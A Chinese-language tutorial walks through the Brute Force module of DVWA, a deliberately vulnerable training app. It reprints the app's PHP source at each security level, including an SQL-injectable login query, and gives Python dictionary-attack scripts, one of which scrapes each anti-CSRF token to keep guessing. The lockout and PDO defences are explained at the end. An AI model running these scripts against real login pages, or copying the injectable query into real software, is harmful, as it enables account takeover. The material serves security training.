文章目录
DVWA
Brute Force 暴力破解
一、Low 级别
无任何安全防护措施
爆破方法：bp抓包 —> 发送到Intruder模块 —> 定义变量 —> 导入密码字典 —> 开始爆破
根据长度可得密码：
源代码：
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// 获取用户名
$user = $_GET[ 'username' ];
// 获取密码，md5加密
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// 和数据库匹配用户名密码（这里也存在sql注入）
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// 成功登录所显示的内容
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
python脚本实现
脚本原理：我们发现当我们输入了不正确的账密后，页面会回显 Username and/or password incorrect ，读取密码字典，通过拼接url发起get请求，然后通过re模块匹配，如果没有匹配到错误回显内容，即找到正确的账密！
import requests
import re
headers = {
"Cookie": "security=low; PHPSESSID=自己抓包获取"
}
url = ""
res = requests.get(url, headers=headers)
# 一行一行读取密码字典，读取结果会自动在每一行拼接换行符，所以需要通过[:-1]获取密码的内容
filepasswords = open("password.txt", "r")
passwords = filepasswords.readlines()
for password in passwords:
response = requests.get(url + "?username=admin" + "&password=" + password[:-1] + "&Login=Login", headers=headers)
if not re.findall("Username and/or password incorrect", response.text):
print("admin ===> " + password[:-1])
运行结果：
二、Medium 级别
添加登录失败休眠2秒操作
爆破方法和Low级别相同，由于存在休眠2秒的操作所以爆破会稍微慢点。
源代码：
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// 登录失败有2秒休眠
sleep( 2 );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
python脚本实现
脚本原理：和Low级别相同，这里我们使用httplib2库实现
import httplib2
import re
h = httplib2.Http( )
url = ""
header = {"cookie" : "security=medium"}
response,content=h.request(url,headers=header)
cookie = response["set-cookie"]
cookie = "自己抓包获取"
cookie = "security=medium; PHPSESSID="+cookie
header={"cookie": cookie}
filepasswords = open("password.txt","r")
passwords = filepasswords.readlines()
for password in passwords:
tmp = url+"?username=admin"+"&password="+password[:-1]+"&Login=Login"
res, content = h.request(tmp, "GET", "", header)
if not re.findall("Username and/or password incorrect", str(content, encoding='utf-8')) or re.findall("CSRF token", str(content, encoding='utf-8')):
print("admin ===> " + password[:-1])
三、High 级别
加入Token预防CSRF，重定向
我们通过bp抓包发现多了一个user_token参数：
继续使用上面的爆破方式，发现全部被重定向：
Token机制：
Token是服务端生成的一串字符串，以作客户端进行请求的一个令牌，当第一次登录后，服务器生成一个Token便将此Token返回给客户端，以后客户端只需带上这个Token前来请求数据即可，无需再次带上用户名和密码。
Token可以用于防护CSRF攻击，但不可以预防暴力破解，因为每次会话的Token都会发送至前端，只需要递归地在前端接收Token作为下次访问的Token值就可以实施暴力破解了。
- 将user_token参数加入也变量
- 在options中设置参数 Grep-Extract 用于获取每次的token
- 在options中设置参数Redirections为Always
- 设置token变量为递归提交
- 开始攻击
出现错误，由错误信息可知，该模式只能适用于单线程！
根据长度可得爆破密码：
源代码：
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
python脚本实现
脚本原理：在提交get请求时拼接上user_token参数，该参数使用正则表达式匹配。
import requests
import re
headers = {
"Cookie": "security=high; PHPSESSID=抓包获取"
}
url = ""
res = requests.get(url,headers=headers)
token = re.findall("<input.*?value=\'(.*?)' />", res.text)[0]
filepasswords = open("password.txt","r")
passwords = filepasswords.readlines()
for password in passwords:
response = requests.get(url+"?username=admin"+"&password="+password[:-1]+"&Login=Login&user_token="+token, headers=headers)
token = re.findall("<input.*?value=\'(.*?)' />", response.text)[0]
if not re.findall("Username and/or password incorrect", response.text) or re.findall("CSRF token", response.text):
print("admin ===> " + password[:-1])
四、Impossible 级别
源代码：
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
对用户的登录次数有所限制，当用户登录失败达到3次，将锁住账号15秒，同时采用了更为安全的PDO（PHP Data Object）机制防御sql注入，这里因为不能使用PDO扩展本身执行任何数据库操作，而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。